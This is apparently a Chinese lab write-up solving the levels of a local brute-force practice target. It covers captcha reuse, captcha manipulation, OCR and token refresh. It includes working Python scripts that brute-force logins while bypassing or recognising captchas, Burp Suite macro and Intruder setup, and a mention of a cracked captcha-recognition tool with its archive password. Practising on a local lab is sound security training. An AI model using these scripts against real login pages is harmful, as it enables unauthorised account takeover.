事情起因#
3sNwgeek
大佬工作上遇到的案例,GitHub 地址
这个大佬还有另外一个基于AWD比赛的蠕虫webshell
系列也不错
有机会可以搞一下
配置环境#
用类似phpstudy
的环境就可以搭建
git clone https://github.com/3sNwgeek/BruteForc_test
然后打开BruteForc_test/low.html
就可访问
burp 设置可参考前几天写的docker 搭建 pikachu 及 burp 暴力破解基于 Token 的表单
level-1_hint: 签到题#
使用的字典
level-2_hint: 验证码复用#
发送到reapter
,尝试换个密码不换验证码:
发现不会报验证码的错误,也就是验证码可以重复使用,使用和上面一样的步骤
level-3_hint: 验证码操纵#
再次reapter
看一下,发现对验证码使用的次数有限制了:
查看源码发现,除了前端代码,还有一个验证码文件
并且验证码文件的参数是由前端传入的
那我们测试下Ccode
参数,发现特殊情况
当参数为111
时,得出的验证码为1
,11
,111
,1111
四种情况中的一种
同时,这里验证码输入错误后,并没有重置验证码,
只有在验证码输入正确,密码错误时,才会重置验证码。所以这里就存在了验证码可以被爆破的情况。
爆破脚本如下:
import requests
code_url = 'http://127.0.0.1/BruteForc_test/yzm2.php?Ccode=111'
login_url = 'http://127.0.0.1/BruteForc_test/LoginMid2.php'
passwd_list = open('./10-million-password-list-top-1000.txt',
'r').read().splitlines()
for passwd in passwd_list:
r = requests.session()
r.get(code_url)
for i in range(0, 4):
number_list = ['1', '11', '111', '1111']
data = {
'name': 'admin',
'password': passwd,
'yzm': number_list[i]
}
html = r.post(login_url, data=data)
if '登陆成功' in html.text:
print("attack success!password:{}".format(passwd))
exit()
else:
break
level-4_hint: 突破前端加密#
正常测试,先弹一次窗显示输入的用户名和密码:
再弹一次窗显示一串字符,抓包显示传送的只是这个login_key
由于是前端加密,所以我们不能使用burp
的intruder
模块爆破
暂时找不到加密文件,先放一放
level-5_hint: 验证码_OCR 识别#
这里都不存在前面的问题,需要使用验证码识别工具识别验证码再一起post
python 脚本#
下载官方安装包,默认安装完,安装路径为:C:\Program Files (x86)\Tesseract-OCR\tesseract.exe
pip
安装库:pip install pytesseract
而且验证码有识别失败的情况,每个密码都需要多次实验,直到出现 “验证码错误 “或者” 登陆成功 “
全代码如下:
import pytesseract
from PIL import Image
import requests
from io import BytesIO
pass_list = open('./10-million-password-list-top-1000.txt',
'r').read().splitlines()
url = 'http://192.168.1.11/BruteForc_test/LoginHigh.php'
for line in pass_list:
while True:
s = requests.session()
pytesseract.pytesseract.tesseract_cmd = 'C:/Program Files (x86)/Tesseract-OCR/tesseract.exe'
response = s.get('http://192.168.1.11/BruteForc_test/yzm.php')
image = Image.open(BytesIO(response.content))
code = pytesseract.image_to_string(image)
data = {
'name': 'admin',
'password': line,
'yzm': code
}
html = s.post(url, data=data) # 进行爆破尝试
print('[[-]error]:{}'.format(line))
if '登陆成功' in html.text:
print('[[+]succeed] password:{}'.format(line))
exit()
if '验证码错误' not in html.text:
break
但是效率不高:
PKAV HTTP Fuzzer#
这里我使用了一个老牌的软件PKAV HTTP Fuzzer
在变体设置处把burp
拦截的数据包放进去
并选中password
的值添加标记,把验证码的值添加验证码标记
在右边添加字典:
切换到图片验证码识别选项卡,填写验证码地址:
http://192.168.1.11/BruteForc_test/yzm.php
自带的引擎不好用,内置的亦思验证码识别引擎和次时代验证码识别引擎都能用
但是只能加载图像,并不能识别,需要自行制作识别库且这两个软件都是收费的
亦思的破解版没有找到真的能用的,次时代的找到一个,解压密码为xiazai.94fb.cn
具体操作太复杂,可以看着视频学
最后导出一个识别库的.cds
文件,加载后就可以识别验证码:
识别库就不放出来了,尝试去做一下库还是蛮好玩的,想要的也可以tg
联系我
切换到发包器选项卡,点击启动即可开始破解:
burp 插件#
burpsuite
的插件reCAPTCHA
在这里也用不到
可以尝试插件captcha-killer
,但这个插件本身并没有识别的功能,需要外部调用接口
level-6_hint: 滑动验证码识别#
尝试reapter
发包两次查看:
看可以看到token
值未发生变化,但是返回值不一样,说明重点不是token
而是检测session
python 脚本#
检测session
的话对python
来说很简单,因为request
有session()
方法就是用来保持会话的
查看源代码可以发现token
值就放在页面源代码输入框的下面:
使用beautifulsoup
解析页面获取到token
再发出去就行了
全代码如下:
import requests
from bs4 import BeautifulSoup
url = 'http://127.0.0.1/BruteForc_test/hdyzma/'
login_url = 'http://127.0.0.1/BruteForc_test/hdyzma/welcome.php'
pass_list = open('./10-million-password-list-top-1000.txt',
'r').read().splitlines()
for line in pass_list:
s = requests.session()
html = s.get(url)
soup = BeautifulSoup(html.text, 'html5lib')
tag = soup.find_all('input')
token = tag[2].get('value')
data = {
'name': 'admin',
'password': line,
'token': token
}
html = s.post(login_url, data=data)
if '登陆成功' in html.text:
print('[[+]succeed] password is:{}'.format(line))
exit()
burp#
跟着靶场原作者3sNwGeek
做一遍
在拉动验证码抓取到的其中一个包的response
中有token值
于是我们可以使用burpsuite
的宏功能把登录页的token
值抓出来填入登录请求
创建 Macros#
切换到Project options
的Sessions
选项卡,拉到最下面Marcros
点击添加会弹窗,我们选择刚刚的192.168.1.11
的唯一一个get
包:
点击 OK,修改Macro
描述,点击旁边的configure item
按钮:
在下面的选项卡点击Add
添加我们指定的token
参数:
用鼠标选中token
值,burp
会开始自动填写开始标记和结束标记,自己填写Parameter name
为token
即可
如果你设置和这个有差别,建议你改成和这个一样,比如选中token
值后
开始的正则表达式是value ="
,建议你改成"token" value ="
Session Handling Rules#
Session Handling Rules
里面已经添加好了一条新规则
点击编辑,自定义名字,将Rule Actions
默认的一条删除添加一条Run a macro
:
添加我们刚刚设置的macro
并将参数名设置为我们刚刚设置的token
然后设置宏的影响范围,因为我们只需要暴力破解账号密码,
所以 Tools Scope 这里只选中 Repeater、Intruder 就行了,其它模块可根据实际需要勾选:
暴力破解#
回到Repeater
,点击Go
重新发包,可以看到现在token
参数会自动刷新:
使用 Intruder 暴力破解账号密码,模式选择为Cluster bomb
(簇炸弹)
这个模式必须设置两个及以上payload
,因此我们把username
也设置 payload
然后payload sets
中第一个位置只添加一个admin
,第二个payload
依然为top-1000
因为多线程会同时刷新 token,导致部分请求包拿到的 token 已经被刷新了,所以只能设置单线程跑
成功暴破得到账号admin/123456a
参考文章:
本文完。